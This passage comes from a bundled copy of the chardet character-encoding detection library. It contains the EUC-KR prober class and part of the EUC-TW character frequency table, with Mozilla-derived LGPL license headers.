466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, 2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, 2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, 2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, 2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, 2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, 2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, 1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, 2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 ) ================================================ FILE: thirdparty/chardet/euckrprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCKRDistributionAnalysis from .mbcssm import EUCKR_SM_MODEL class EUCKRProber(MultiByteCharSetProber): def __init__(self): super(EUCKRProber, self).__init__() self.coding_sm = CodingStateMachine(EUCKR_SM_MODEL) self.distribution_analyzer = EUCKRDistributionAnalysis() self.reset() @property def charset_name(self): return "EUC-KR" @property def language(self): return "Korean" ================================================ FILE: thirdparty/chardet/euctwfreq.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # EUCTW frequency table # Converted from big5 work # by Taiwan's Mandarin Promotion Council # # 128 --> 0.42261 # 256 --> 0.57851 # 512 --> 0.74851 # 1024 --> 0.89384 # 2048 --> 0.97583 # # Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 # Random Distribution Ration = 512/(5401-512)=0.105 # # Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75 # Char to FreqOrder table , EUCTW_TABLE_SIZE = 5376 EUCTW_CHAR_TO_FREQ_ORDER = ( 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 